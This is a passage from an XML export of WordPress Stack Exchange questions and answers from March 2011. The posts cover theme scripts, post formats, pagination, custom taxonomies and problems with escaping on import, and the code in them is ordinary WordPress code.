'add_colorbox_class_to_image_links', 10, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3852" LastActivityDate="2011-03-11T12:02:40.867" />
  <row Id="11758" PostTypeId="1" AcceptedAnswerId="12356" CreationDate="2011-03-11T12:09:59.263" Score="1" ViewCount="143" Body="&lt;p&gt;I have a created a custom post type and have attached some custom fields to it. Now I would like for the search that authors can perform on the custom post list screen (in the admin backend) to also be performed on the meta fileds and not only look in the title and content as usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I hook in and what code I have to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example image&lt;/strong&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/30leQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stefano&lt;/p&gt;&#xA;" OwnerUserId="3875" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-11T12:16:28.963" LastActivityDate="2011-08-04T12:36:51.123" Title="Extending the search context in the admin list post screen" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;search&gt;" AnswerCount="2" />
  <row Id="11759" PostTypeId="1" AcceptedAnswerId="11792" CreationDate="2011-03-11T12:19:57.040" Score="0" ViewCount="24" Body="&lt;p&gt;Not sure if the title makes sense sorry, but at the moment on my blog there is a long list of posts (with the thumbnail custom field) - the text next to the thumbnail is just the first characters from within the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How exactly do I change that to something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3395" LastActivityDate="2011-04-10T20:39:58.337" Title="On the post list, how do you show different text to the main content?" Tags="&lt;posts&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="11760" PostTypeId="1" CreationDate="2011-03-11T12:47:37.767" Score="0" ViewCount="191" Body="&lt;p&gt;I'm in the process of setting up a WordPress.com site and importing my content over from my old WordPress hosted blog.  One of the things I need to do is to make sure I have the same plugins installed on my site as I do on my old blog.  But, when I go to the admin page for my WordPress.com-hosted blog, I can't see the plugins option on the sidebar on the left.  I have all the other usual admin sidebar sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried going to the same url as the plugins link on my newly installed site would take me to, &lt;code&gt;/wp-admin/plugins.php&lt;/code&gt;, but I just get an empty page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I see what plugins I have installed?&lt;/p&gt;&#xA;" OwnerUserId="3874" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-11T15:19:04.913" LastActivityDate="2011-05-11T15:19:04.913" Title="Can't see my plugins on my WordPress.com blog?" Tags="&lt;plugins&gt;&lt;wp-admin&gt;&lt;wordpress.com&gt;" AnswerCount="2" />
  <row Id="11761" PostTypeId="1" CreationDate="2011-03-11T12:49:45.097" Score="0" ViewCount="255" Body="&lt;p&gt;Pretty new to WordPress functions, so apologies if this is basic stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've designed a parent theme that registers and enqueues two scripts like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ( !function_exists( 'scherzo_scripts' ) ) :&#xA;&#xA;    function scherzo_scripts() {&#xA;&#xA;        if (!is_admin()) {&#xA;&#xA;        wp_register_script( 'html5shiv', get_template_directory_uri() . '/js/html5.js');&#xA;        wp_register_script( 'css3mediaqueries', get_template_directory_uri() . '/js/css3-mediaqueries.js');&#xA;        wp_enqueue_script('html5shiv');&#xA;        wp_enqueue_script('css3mediaqueries');&#xA;&#xA;        }&#xA;    }&#xA;&#xA;    add_action('init', 'scherzo_scripts');&#xA;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm finding that if I install a child theme the scripts don't run. To try and force them to run I create a new &lt;code&gt;functions.php&lt;/code&gt; file in the child theme folder and add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function scherzo_scripts() {&#xA;&#xA;        if (!is_admin()) {&#xA;&#xA;            wp_register_script( 'html5shiv', get_template_directory_uri() . '/js/html5.js');&#xA;            wp_register_script( 'css3mediaqueries', get_template_directory_uri() . '/js/css3-mediaqueries.js');&#xA;            wp_enqueue_script('html5shiv');&#xA;            wp_enqueue_script('css3mediaqueries');&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    add_action('init', 'scherzo_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no joy. Am I doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="3876" LastActivityDate="2011-04-19T12:59:38.067" Title="How do I get a child theme to load scripts from the parent theme?" Tags="&lt;functions&gt;&lt;wp-enqueue-script&gt;&lt;child-theme&gt;&lt;wp-register-script&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="11762" PostTypeId="1" CreationDate="2011-03-11T12:59:11.500" Score="0" ViewCount="170" Body="&lt;p&gt;&lt;br&gt;&#xA;I have post type called &lt;strong&gt;blog&lt;/strong&gt; and i'm showing posts for the type using &lt;code&gt;query_posts&lt;/code&gt;, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('post_type=blog');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to add pagination for this post type in the following format.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[First] [1][2][3][4][5] [Last]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please let me know how can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3277" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-12T09:10:50.193" LastActivityDate="2011-03-12T09:10:50.193" Title="How do i paginate query_posts with numeric pagination?" Tags="&lt;query-posts&gt;&lt;pagination&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11763" PostTypeId="1" CreationDate="2011-03-11T13:03:18.237" Score="0" ViewCount="51" Body="&lt;p&gt;I am struggling getting my head around how to organise this content. It is in a similar structure to below:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Projects:&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Title&lt;/strong&gt;: Project name 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Tags&lt;/strong&gt;: Client_1 Discipline_1 Sector_1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Categories&lt;/strong&gt;: Projects&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Title&lt;/strong&gt;: Project name 2&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Tags&lt;/strong&gt;: Client_1 Discipline_1 Sector_1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Categories&lt;/strong&gt;: Projects&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Case studies:&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Title&lt;/strong&gt;: Case study 2&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Tags&lt;/strong&gt;: Client_2 Disciple_1 Sector_1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I want the tags to be the same in the categories &lt;code&gt;Projects&lt;/code&gt; and &lt;code&gt;Case studies&lt;/code&gt; so they span across multiple sections of my site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is &lt;em&gt;I need to dynamically list the client tags&lt;/em&gt;, the discipline tags and the sector tags apart from each other. This is not really possible with all tags not having any hierarchy like categories too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I want my users to be able to add clients themselves,&lt;/em&gt; having to add categories is a lot more hassle than adding tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is the best way to organise this information?&lt;/strong&gt; I can't seem to get my head around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1956" LastActivityDate="2011-08-09T13:21:32.263" Title="Categories, tags and content organisation / hierarchy question" Tags="&lt;categories&gt;&lt;tags&gt;&lt;structuring&gt;" AnswerCount="1" />
  <row Id="11764" PostTypeId="1" AcceptedAnswerId="11769" CreationDate="2011-03-11T13:36:24.797" Score="1" ViewCount="402" Body="&lt;p&gt;WP 3.1 has everyone excited, if somewhat confused, about post formats.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Enabling new post formats&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The issue of enabling post formats has been covered at length. It's as simple as adding this line to functions.php:  &lt;code&gt;add_theme_support( 'post-formats', array( 'aside', 'gallery' ) );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Displaying Posts of a certain Format&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;But the issue of &lt;em&gt;displaying&lt;/em&gt; these posts has hardly been covered at all. Lets document the process of displaying/querying posts of a certain format using an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say we want to put a Twitter-like status update in the sidebar. It's easy to enable the &lt;code&gt;status&lt;/code&gt; post format, but how to I actually query for those posts to make them show up in the sidebar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done quite a bit of searching and haven't found an answer to this problem, all are welcome to contribute. If we come up with a good answer, I think it would be the first to document this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With thanks!&lt;/p&gt;&#xA;" OwnerUserId="3877" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-03-22T20:19:33.010" LastActivityDate="2011-03-22T20:19:33.010" Title="Display/query post formats" Tags="&lt;query-posts&gt;&lt;post-formats&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="11765" PostTypeId="2" ParentId="11762" CreationDate="2011-03-11T14:17:18.143" Score="4" ViewCount="" Body="&lt;p&gt;First of all, read this: &lt;a href=&quot;http://scribu.net/wordpress/wp-pagenavi/right-way-to-use-query_posts.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/wp-pagenavi/right-way-to-use-query_posts.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then install this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-pagenavi/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-pagenavi/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-11T15:51:50.077" LastActivityDate="2011-03-11T15:51:50.077" />
  <row Id="11766" PostTypeId="1" CreationDate="2011-03-11T14:31:36.730" Score="3" ViewCount="124" Body="&lt;p&gt;I just stumbled over a global variable called &lt;code&gt;$content_width&lt;/code&gt;. It was new to me, so far I could see that it's used in themes, both the standard twenty ten one and third party ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like that it contains the width of the content area in pixels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since global variables are not documented in codex, I have trouble to find valid and funded information about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When was the &lt;code&gt;$content_width&lt;/code&gt; global variable introduced and for what reason? Is there a ticket related to it?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-12T15:10:00.720" Title="What is the role and history of the $content_width global variable?" Tags="&lt;themes&gt;&lt;core&gt;&lt;content-width&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="11767" PostTypeId="2" ParentId="11764" CreationDate="2011-03-11T14:32:58.923" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/has_post_format&quot; rel=&quot;nofollow&quot;&gt;has_post_format&lt;/a&gt; or you could use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_format&quot; rel=&quot;nofollow&quot;&gt;get_post_format&lt;/a&gt;. Lisa Sabin-Wilson has a good article using them called &lt;a href=&quot;http://lisasabin-wilson.com/wordpress-3-1-post-formats-reference&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.1 Post Formats Reference&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;has_post_format&lt;/code&gt; example: &lt;code&gt;&amp;lt;?php if ( has_post_format( 'video' )) { echo 'this is the video format'; } ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_post_format&lt;/code&gt; example: &lt;code&gt;&amp;lt;?php $format = get_post_format( $post_id ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-03-11T14:32:58.923" />
  <row Id="11768" PostTypeId="2" ParentId="11766" CreationDate="2011-03-11T14:37:58.327" Score="2" ViewCount="" Body="&lt;p&gt;I believe it was added back on WordPress 2.6 (maybe 2.5). It's there to allow you to set a maximum width on images being displayed as content in your theme. E.g. If your main content area is only 475px wide, you could set $content_width = 450 to make sure your image doesn't break out of your main content area.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-03-11T14:37:58.327" CommentCount="5" />
  <row Id="11769" PostTypeId="2" ParentId="11764" CreationDate="2011-03-11T14:40:29.837" Score="4" ViewCount="" Body="&lt;p&gt;You have a lot of options for displaying using the &quot;Post Formats&quot; feature:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example in an index.php loop you can decide what to show based on the post format &#xA;using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/has_post_format&quot; rel=&quot;nofollow&quot;&gt;has_post_format()&lt;/a&gt; function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if ( has_post_format( 'aside' )) {&#xA;            echo the_content();&#xA;        }&#xA;&#xA;        elseif ( has_post_format( 'chat' )) {&#xA;            echo '&amp;lt;h3&amp;gt;';&#xA;            echo the_title();&#xA;            echo '&amp;lt;/h3&amp;gt;';&#xA;            echo the_content();&#xA;        }&#xA;&#xA;        elseif ( has_post_format( 'gallery' )) {&#xA;            echo '&amp;lt;h3&amp;gt;';&#xA;            echo the_title();&#xA;            echo '&amp;lt;/h3&amp;gt;';&#xA;            echo the_content();&#xA;        }&#xA;&#xA;        elseif ( has_post_format( 'image' )) {&#xA;            echo '&amp;lt;h3&amp;gt;';&#xA;            echo the_title();&#xA;            echo '&amp;lt;/h3&amp;gt;';&#xA;            echo the_post_thumbnail('medium');&#xA;            echo the_content();&#xA;        }&#xA;&#xA;        elseif ( has_post_format( 'link' )) {&#xA;            echo '&amp;lt;h3&amp;gt;';&#xA;            echo the_title();&#xA;            echo '&amp;lt;/h3&amp;gt;';&#xA;            echo the_content();&#xA;        }&#xA;&#xA;        elseif ( has_post_format( 'quote' )) {&#xA;            echo the_content();&#xA;        }&#xA;&#xA;        elseif ( has_post_format( 'status' )) {&#xA;            echo the_content();&#xA;        }&#xA;&#xA;        elseif ( has_post_format( 'video' )) {&#xA;            echo '&amp;lt;h3&amp;gt;';&#xA;            echo the_title();&#xA;            echo '&amp;lt;/h3&amp;gt;';&#xA;            echo the_content();&#xA;        }&#xA;&#xA;        elseif ( has_post_format( 'audio' )) {&#xA;            echo '&amp;lt;h3&amp;gt;';&#xA;            echo the_title();&#xA;            echo '&amp;lt;/h3&amp;gt;';&#xA;            echo the_content();&#xA;        }&#xA;&#xA;        else {&#xA;            echo '&amp;lt;h3&amp;gt;';&#xA;            echo the_title();&#xA;            echo '&amp;lt;/h3&amp;gt;';&#xA;            echo the_content();&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template_part&quot; rel=&quot;nofollow&quot;&gt;get_template_part()&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_format&quot; rel=&quot;nofollow&quot;&gt;get_post_format()&lt;/a&gt; to get a defferent loop based on the format, This is assuming that you have made a format loop.php (say format-status.php) file for each format used in your theme so you just call it :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_template_part( 'format', get_post_format() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you can also query posts based on their format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;                'tax_query' =&amp;gt; array(&#xA;                    array(&#xA;                        'taxonomy' =&amp;gt; 'post-format',&#xA;                        'field' =&amp;gt; 'slug',&#xA;                        'terms' =&amp;gt; array( 'post-format-quote' )&#xA;                    )&#xA;                )&#xA;            )&#xA;            $query = new WP_Query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and last (for now) you can use &quot;post_class();&quot; function to style based on CSS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will output something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;post-id&quot; class=”post format-status”&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps getting started&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-11T14:40:29.837" />
  <row Id="11770" PostTypeId="1" CreationDate="2011-03-11T14:49:31.020" Score="3" ViewCount="98" Body="&lt;p&gt;I'm working on a spreadsheet that has the contact information for thousands of training programs related to my niche. I'm wondering if any of you know a way to automate the process of creating a landing page for each entry. Each page will contain: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;School name &lt;/li&gt;&#xA;&lt;li&gt;School address&lt;/li&gt;&#xA;&lt;li&gt;School phone number&lt;/li&gt;&#xA;&lt;li&gt;School website&lt;/li&gt;&#xA;&lt;li&gt;School accreditation date&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since this is a very routine process, there must be a way to automate it all instead of posting 3,000+ landing pages. Let me know if you have any suggestions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you. &lt;/p&gt;&#xA;" OwnerUserId="3879" LastActivityDate="2011-03-11T16:19:49.147" Title="Best way to automate the page/post publication process?" Tags="&lt;automate&gt;&lt;automation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="11771" PostTypeId="2" ParentId="11761" CreationDate="2011-03-11T14:56:54.490" Score="3" ViewCount="" Body="&lt;p&gt;functions.php file of the child theme is loaded before the functions.php of the parent theme so it's best to run the code at the hook after both themes are loaded. At the earliest at &lt;code&gt;after_setup_theme&lt;/code&gt; hook so Change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_action('init', 'scherzo_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('after_setup_theme', 'scherzo_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-11T14:56:54.490" CommentCount="3" />
  <row Id="11772" PostTypeId="1" CreationDate="2011-03-11T15:03:18.943" Score="0" ViewCount="62" Body="&lt;p&gt;I recently set up a wordpress site (ie on a server, rather than hosted by wordpress).  I exported the posts from my old wordpress hosted blog, and imported them into the new site.  One of the plugins i was using on the hosted blog was SyntaxHighlighter, which makes nice blocks of source code, wrapped in [sourcecode] blocks.  When i imported this across, all of the non-html-safe characters in the posts (&amp;lt;, &gt; &amp;amp; etc) have been converted into their relevant html entities, which, because they are in source code blocks which escapes that sort of thing anyway, means that they actually show up as the escaped text of the html entity on the page, instead of the symbol they were supposed to be escaping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a bit of a confusing explanation, here's an example:  the old post looked like this in the html view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[sourcecode language=&quot;ruby&quot;]&#xA;  class &amp;lt;&amp;lt; self&#xA;    Product.find(:all, :select =&amp;gt; &quot;name&quot;).collect(&amp;amp;:name).each do |name|&#xA;      define_method name.to_sym do&#xA;        self.find_by_name(name)&#xA;      end&#xA;    end&#xA;  end&#xA;[/sourcecode]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After import, it looks like this (again, in html view):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[sourcecode language=&quot;ruby&quot;]&#xA;  class &amp;amp;lt;&amp;amp;lt; self&#xA;    Product.find(:all, :select =&amp;amp;gt; &amp;amp;quot;name&amp;amp;quot;).collect(&amp;amp;amp;:name).each do |name|&#xA;      define_method name.to_sym do&#xA;        self.find_by_name(name)&#xA;      end&#xA;    end&#xA;  end&#xA;[/sourcecode]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See how the first couple of lines have been mangled by being escaped?  To make matters worse, because they are in sourcecode blocks they are shown on the page as is (because the plugin does its own escaping), so the actual blog post now looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  class &amp;amp;lt;&amp;amp;lt; self&#xA;    Product.find(:all, :select =&amp;amp;gt; &amp;amp;quot;name&amp;amp;quot;).collect(&amp;amp;amp;:name).each do |name|&#xA;      define_method name.to_sym do&#xA;        self.find_by_name(name)&#xA;      end&#xA;    end&#xA;  end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ie the escaped entites are displayed on the page, rather than the character they were supposed to escape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it looks like the import process has taken it upon itself to do another html-escaping pass on the content as it is imported, screwing it up in the process.  Does anyone know how i can&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) undo the damage or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) export and/or import it in such a way as to stop this happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks, max&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT - something odd just happened.  I went into the edit page again for the above post, and the code looked fine.  I went to the html tab, and again:fine.  So i saved it.  Then i went back to the home page to look at it, and it was still cool.  But, ALL THE OTHER PAGES WITH SOURCE BLOCKS NOW ALSO LOOK FINE!  WTF?  Did i just imagine all that?  Or was some background process going through and fixing my posts?  Or something else?  Weirdness.&lt;/p&gt;&#xA;" OwnerUserId="3874" LastEditorUserId="3874" LastEditorDisplayName="" LastEditDate="2011-03-11T15:12:15.487" LastActivityDate="2011-03-11T15:12:15.487" Title="Sourcecode broken on import of posts from another wordpress site" Tags="&lt;import&gt;&lt;export&gt;&lt;bulk-import&gt;&lt;escaping&gt;" CommentCount="1" />
  <row Id="11773" PostTypeId="1" AcceptedAnswerId="11781" CreationDate="2011-03-11T15:25:22.683" Score="0" ViewCount="97" Body="&lt;p&gt;I updated my plugin, &lt;a href=&quot;http://wordpress.org/extend/plugins/export-to-text/&quot; rel=&quot;nofollow&quot;&gt;Export to Text&lt;/a&gt;, to 1.3 and committed it to the WordPress SVN repository yesterday. The 1.3 download button was available pretty quickly, but a day later the read me text is not rendering on the plugin page and the download update reminder is not working in the WP UI for users with earlier versions installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long does it typically take for plugins to be fully loaded by the WordPress.org website?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-03-11T16:10:33.787" LastActivityDate="2011-05-10T05:42:04.070" Title="How long should it take for a plugin to fully load into the WordPress.org plugin repository?" Tags="&lt;plugin-development&gt;&lt;svn&gt;&lt;plugin-repository&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="11774" PostTypeId="2" ParentId="11745" CreationDate="2011-03-11T15:58:15.250" Score="2" ViewCount="" Body="&lt;p&gt;It may be time to give up WordPress.com. There is little day to day difference in managing a self-hosted version, but there is a world of opportunities that will open with a few well selected plugins.  You mentioned you're volunteering for an organization. If the issue is paying for hosting, Dreamhost and HostGator offer free lifetime hosting for US based 501(c)3 non-profits. Dreamhost's process is the easier of the two.  (Disclosure, I'm an affilate for both...but look ma, no links).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Between free hosting and plugins, your organization's events should get all the attention they need. &lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-03-11T15:58:15.250" CommentCount="2" />
  <row Id="11775" PostTypeId="2" ParentId="2938" CreationDate="2011-03-11T15:58:39.627" Score="0" ViewCount="" Body="&lt;p&gt;It's not business logic in UML (which would benefit from some refactoring of core first, right?), just some workflow PDF: &lt;a href=&quot;http://toolpress.de/tools/Toolpress_-_Wordpress-3.0-Program-Flow-0.2-2010-06-28.pdf&quot; rel=&quot;nofollow&quot;&gt;Wordpress 3.0 Program Flow (PDF)&lt;/a&gt; &lt;a href=&quot;http://docs.google.com/viewer?a=v&amp;amp;q=cache%3aR5G9DUj0pTsJ%3atoolpress.de/tools/Toolpress_-_Wordpress-3.0-Program-Flow-0.2-2010-06-28.pdf+wordpress+program+flow&amp;amp;hl=en&amp;amp;pid=bl&amp;amp;srcid=ADGEESij1Sg5Xi-QYoMggSTynSlto_A-X20Y9x0MGA410lYK8MdRagDjc1hZi4x3H-4_F_MUgigDVzXuPHvej5vot7EKoknL9TAxRQAGqR7KhSJc9iVleXAV1azwGxdTlhg0fUG_jvge&amp;amp;sig=AHIEtbRfDE1ci6n4EZaKyc0ut2gbqmdOeQ&quot; rel=&quot;nofollow&quot;&gt;Preview&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-11T15:58:39.627" />
  <row Id="11776" PostTypeId="1" AcceptedAnswerId="11778" CreationDate="2011-03-11T16:17:25.243" Score="0" ViewCount="75" Body="&lt;p&gt;First time experimenting with wordpress and looking for advice on the correct way to add a block of html to a sidebar. This doesn't seem like a custom widget to me as there is no functionality involved, other than displaying an image. I want to position it above a sidebar menu which exists there already - instead of just lobbing the html directly into the template file, should i be doing something else with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="3881" LastActivityDate="2011-03-11T16:28:25.300" Title="Correct way to add a block element to sidebar layout" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;template&gt;" AnswerCount="1" />
  <row Id="11777" PostTypeId="2" ParentId="11770" CreationDate="2011-03-11T16:19:49.147" Score="2" ViewCount="" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://wordpress.org/extend/plugins/csv-importer/other_notes/&quot; rel=&quot;nofollow&quot;&gt;CSV Importer &lt;/a&gt; plugin to import your spreadsheet into posts or even better a custom post type say &quot;school&quot; import school name as post title and the rest as custom fields.  Then create a single-school.php file in your theme directory and pull out the name and other fields and you are done.&#xA;Each school will have Its own page&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-11T16:19:49.147" CommentCount="1" />
  <row Id="11778" PostTypeId="2" ParentId="11776" CreationDate="2011-03-11T16:28:25.300" Score="0" ViewCount="" Body="&lt;p&gt;You should simply add the html block to the built in text widget.&#xA;And as for positioning it above the menu just use the drag n' drop functionality of the sidebar widgets.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-11T16:28:25.300" CommentCount="1" />
  <row Id="11779" PostTypeId="2" ParentId="11763" CreationDate="2011-03-11T16:29:52.320" Score="0" ViewCount="" Body="&lt;p&gt;Seems like custom taxonomies are my answer. I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/more-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;More Taxonomies&lt;/a&gt; plugin. Seems crazy WP doesn't have this as standard.&lt;/p&gt;&#xA;" OwnerUserId="1956" LastActivityDate="2011-03-11T16:29:52.320" />
  <row Id="11780" PostTypeId="2" ParentId="8802" CreationDate="2011-03-11T16:41:00.923" Score="1" ViewCount="" Body="&lt;p&gt;I went through some trouble doing exactly this and I eventually found a very simple solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a Facebook app called RSS Graffiti ( &lt;a href=&quot;http://www.rssgraffiti.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.rssgraffiti.com/&lt;/a&gt; ). It doesn't get any easier, doesn't consume your server resources, and works perfectly.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-11T16:41:00.923" />
